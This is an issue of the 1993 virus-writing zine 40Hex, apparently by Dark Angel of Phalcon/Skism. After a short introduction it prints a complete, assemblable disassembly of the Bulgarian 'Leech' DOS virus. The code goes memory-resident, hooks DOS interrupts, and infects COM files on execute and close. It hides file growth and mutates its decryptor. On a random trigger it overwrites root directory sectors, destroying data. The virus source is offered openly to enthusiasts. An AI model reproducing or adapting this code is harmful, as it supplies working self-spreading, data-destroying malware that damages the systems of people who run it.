40hex11:(40HEX-11.005):01/06/1993 << Back To 40hex11

40Hex Issue 11 Volume 3 Number 2 File 005 Virus Spotlight on: Leech This month's virus is a Bulgarian creation known as Leech. It is mildly polymorphic, implementing a simple code swapping algorithm. It infects on file executes and file closes. The infections upon file closes is especially noteworthy; look closely at the manipulation of the system file table (and see the related article in this issue of 40Hex for more details). This resident, COM-specific infector also hides file length increases, although the stupid CHKDSK error will occur. -- Dark Angel Phalcon/Skism ------------------------------------------------------------------------------- .model tiny .code org 0 ; Leech virus ; Disassembly by Dark Angel of Phalcon/Skism ; Assemble with Tasm /m Leech.asm virlength = (readbuffer - leech) reslength = (((encrypted_file - leech + 15) / 16) + 2) leech: jmp short enter_leech filesize dw offset carrier oldint21 dw 0, 0 oldint13 dw 0, 0 oldint24 dw 0, 0 datestore dw 0 timestore dw 0 runningflag db 1 evenodd dw 0 enter_leech: call next next: pop si mutatearea1: cli push ds ; Why? pop es mov bp,sp ; save sp mov sp,si ; sp = offset next add sp,encrypt_value1 - 1 - next mutatearea2: mov cx,ss ; save ss mov ax,cs mov ss,ax ; ss = PSP pop bx ; get encryption value dec sp dec sp add si,startencrypt - next nop decrypt: mutatearea3: pop ax xor al,bh ; decrypt away! push ax dec sp cmp sp,si jae decrypt startencrypt: mov ax,es dec ax mov ds,ax ; ds->MCB db 81h,6,3,0 ;add word ptr ds:[3],-reslength dw 0 - reslength mov bx,ds:[3] ; bx = memory size mov byte ptr ds:[0],'Z' ; mark end of chain inc ax ; ax->PSP inc bx add bx,ax ; bx->high area mov es,bx ; as does es mov ss,cx ; restore ss add si,leech - startencrypt mov bx,ds ; save MCB segment mov ds,ax mov sp,bp ; restore sp push si xor di,di mov cx,virlength ; 1024 bytes cld rep movsb pop si push bx mov bx,offset highentry push es push bx retf ; jmp to highentry in ; high memory highentry: mov es,ax ; es->PSP mov ax,cs:filesize add ax,100h ; find stored area mov di,si mov si,ax mov cx,virlength rep movsb ; and restore over virus code pop es ; MCB xor ax,ax mov ds,ax ; ds->interrupt table sti cmp word ptr ds:21h*4,offset int21 ; already resident? jne go_resident db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength dw 0 - reslength ; alter memory size test byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation jnz exit_virus push cs pop ds mov si,offset message display_loop: ; display ASCIIZ string lodsb ; get next character or al,0 ; exit if 0 jz exit_display_loop mov ah,0Eh ; otherwise write character int 10h jmp short display_loop exit_display_loop: mov ah,32h ; Get DPB -> DS:BX xor dl,dl int 21h jc exit_virus ; exit on error call getint13and24 call setint13and24 mov dx,[bx+10h] ; first sector of root ; directory ; BUG: won't work in DOS 4+ mov ah,19h ; default drive -> al int 21h mov cx,2 ; overwrite root directory int 26h pop bx call setint13and24 ; restore int handlers exit_virus: jmp returnCOM go_resident: db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength dw 0 - reslength ; alter top of memory in PSP mov bx,ds:46Ch ; BX = random # push ds push cs pop ds push cs pop es mov runningflag,1 ; reset flag and bh,80h mov nothing1,bh mutate1: test bl,1 jnz mutate2 mov si,offset mutatearea1 add si,evenodd lodsb xchg al,[si] ; swap instructions mov [si-1],al mutate2: test bl,2 jnz mutate3 mov si,offset mutatearea2 add si,evenodd lodsw xchg ax,[si] ; swap instructions mov [si-2],ax mutate3: test bl,4 jnz mutate4 mov si,offset mutatearea3 mov al,2 xor [si],al ; flip between ax & dx xor [si+2],al xor [si+3],al mutate4: test bl,8 jnz findint21 mov si,offset next mov di,offset readbuffer mov cx,offset enter_leech push si push di lodsb cmp al,5Eh ; 1 byte pop si? je now_single_byte_encode inc si ; skip second byte of two ; byte encoding of pop si now_single_byte_encode: push cx rep movsb pop cx pop si pop di cmp al,5Eh ; 1 byte pop si? je encode_two_bytes ; then change to 2 mov al,5Eh ; encode a pop si stosb rep movsb ; then copy decrypt over mov al,90h ; plus a nop to keep virus stosb ; length constant xor ax,ax ; clear the flag jmp short set_evenodd_flag encode_two_bytes: mov ax,0C68Fh ; encode a two byte form of stosw ; pop si rep movsb mov ax,1 ; set evenodd flag set_evenodd_flag: mov cs:evenodd,ax findint21: mov ah,30h ; Get DOS version int 21h cmp ax,1E03h ; DOS 3.30? jne notDOS33 mov ah,34h ; Get DOS critical error ptr int 21h mov bx,1460h ; int 21h starts here jmp short alterint21 notDOS33: mov ax,3521h ; just get current int 21 handler int 21h alterint21: mov oldint21,bx mov word ptr ds:oldint21+2,es mov si,21h*4 ; save old int 21 handler pop ds ; found in interrupt table push si push cs pop es mov di,offset topint21 movsw movsw pop di ; and put new one in push ds pop es mov ax,offset int21 stosw mov ax,cs stosw mov di,offset startencrypt mov al,cs:encrypt_value1 ; decrypt original program code decryptcode: xor cs:[di],al inc di cmp di,offset decryptcode jb decryptcode returnCOM: mov ah,62h ; Get current PSP int 21h push bx ; restore segment registers mov ds,bx mov es,bx mov ax,100h push ax retf ; Return to PSP:100h infect: push si push ds push es push di cld push cs pop ds xor dx,dx ; go to start of file call movefilepointer mov dx,offset readbuffer ; and read 3 bytes mov ah,3Fh mov cx,3 call callint21 jc exiterror xor di,di mov ax,readbuffer mov cx,word ptr ds:[0] cmp cx,ax ; check if already infected je go_exitinfect cmp al,0EBh ; jmp short? jne checkifJMP mov al,ah xor ah,ah add ax,2 mov di,ax ; di = jmp location checkifJMP: cmp al,0E9h ; jmp? jne checkifEXE ; nope mov ax,word ptr readbuffer+1 add ax,3 mov di,ax ; di = jmp location xor ax,ax checkifEXE: cmp ax,'MZ' je exiterror cmp ax,'ZM' jne continue_infect exiterror: stc go_exitinfect: jmp short exitinfect nop continue_infect: mov dx,di push cx call movefilepointer ; go to jmp location mov dx,virlength ; and read 1024 more bytes mov ah,3Fh mov cx,dx call callint21 pop cx jc exiterror cmp readbuffer,cx je go_exitinfect mov ax,di sub ah,0FCh cmp ax,filesize jae exiterror mov dx,filesize call movefilepointer mov dx,virlength ; write virus to middle mov cx,dx ; of file mov ah,40h call callint21 jc exitinfect mov dx,di call movefilepointer push cs pop es mov di,offset readbuffer push di push di xor si,si mov cx,di rep movsb mov si,offset encrypt_value2 mov al,encrypted_file encryptfile: ; encrypt infected file xor [si],al inc si cmp si,7FFh jb encryptfile pop cx pop dx mov ah,40h ; and write it to end of file call callint21 exitinfect: pop di pop es pop ds pop si retn int21: cmp ax,4B00h ; Execute? je execute cmp ah,3Eh ; Close? je handleclose cmp ah,11h ; Find first? je findfirstnext cmp ah,12h ; Find next? je findfirstnext exitint21: db 0EAh ; jmp far ptr topint21 dw 0, 0 findfirstnext: push si mov si,offset topint21 pushf call dword ptr cs:[si] ; call int 21 handler pop si push ax push bx push es mov ah,2Fh ; Get DTA call callint21 cmp byte ptr es:[bx],0FFh ; extended FCB? jne noextendedFCB add bx,7 ; convert to normal noextendedFCB: mov ax,es:[bx+17h] ; Get time and ax,1Fh ; and check infection stamp cmp ax,1Eh jne exitfindfirstnext mov ax,es:[bx+1Dh] cmp ax,virlength * 2 + 1 ; too small for infection? jb exitfindfirstnext ; then not infected sub ax,virlength ; alter file size mov es:[bx+1Dh],ax exitfindfirstnext: pop es pop bx pop ax iret int24: mov al,3 iret callint21: pushf call dword ptr cs:oldint21 retn movefilepointer: xor cx,cx mov ax,4200h call callint21 retn execute: push ax push bx mov cs:runningflag,0 mov ax,3D00h ; open file read/only call callint21 mov bx,ax mov ah,3Eh ; close file int 21h ; to trigger infection pop bx pop ax go_exitint21: jmp short exitint21 handleclose: or cs:runningflag,0 ; virus currently active? jnz go_exitint21 push cx push dx push di push es push ax push bx call getint13and24 call setint13and24 ; convert handle to filename mov ax,1220h ; get job file table entry int 2Fh jc handleclose_noinfect ; exit on error mov ax,1216h ; get address of SFT mov bl,es:[di] xor bh,bh int 2Fh ; es:di->file entry in SFT mov ax,es:[di+11h] mov cs:filesize,ax ; save file size, mov ax,es:[di+0Dh] and al,0F8h mov cs:timestore,ax ; time, mov ax,es:[di+0Fh] mov cs:datestore,ax ; and date cmp word ptr es:[di+29h],'MO' ; check for COM extension jne handleclose_noinfect cmp byte ptr es:[di+28h],'C' jne handleclose_noinfect cmp cs:filesize,0FA00h ; make sure not too large jae handleclose_noinfect mov al,20h ; alter file attribute xchg al,es:[di+4] mov ah,2 ; alter open mode to read/write xchg ah,es:[di+2] pop bx push bx push ax call infect pop ax mov es:[di+4],al ; restore file attribute mov es:[di+2],ah ; and open mode mov cx,cs:timestore jc infection_not_successful or cl,1Fh ; make file infected in and cl,0FEh ; seconds field infection_not_successful: mov dx,cs:datestore ; restore file time/date mov ax,5701h call callint21 handleclose_noinfect: pop bx pop ax pop es pop di pop dx pop cx call callint21 call setint13and24 retf 2 ; exit with flags intact getint13and24: mov ah,13h ; Get BIOS int 13h handler int 2Fh mov cs:oldint13,bx mov cs:oldint13+2,es int 2Fh ; Restore it mov cs:oldint24,offset int24 mov cs:oldint24+2,cs retn setint13and24: push ax push si push ds pushf cli cld xor ax,ax mov ds,ax ; ds->interrupt table mov si,13h*4 lodsw xchg ax,cs:oldint13 ; replace old int 13 handler mov [si-2],ax ; with original BIOS handler lodsw xchg ax,cs:oldint13+2 mov [si-2],ax mov si,24h*4 ; replace old int 24 handler lodsw ; with our own handler xchg ax,cs:oldint24 mov [si-2],ax lodsw xchg ax,cs:oldint24+2 mov [si-2],ax popf pop ds pop si pop ax retn message db 'The leech live ...', 0 db 'April 1991 The Topler.' db 0, 0, 0, 0, 0 encrypt_value1 db 0 readbuffer dw 0 db 253 dup (0) nothing1 db 0 db 152 dup (0) encrypt_value2 db 0 db 614 dup (0) encrypted_file db 0 db 1280 dup (0) carrier: dw 20CDh end leech -------------------------------------------------------------------------------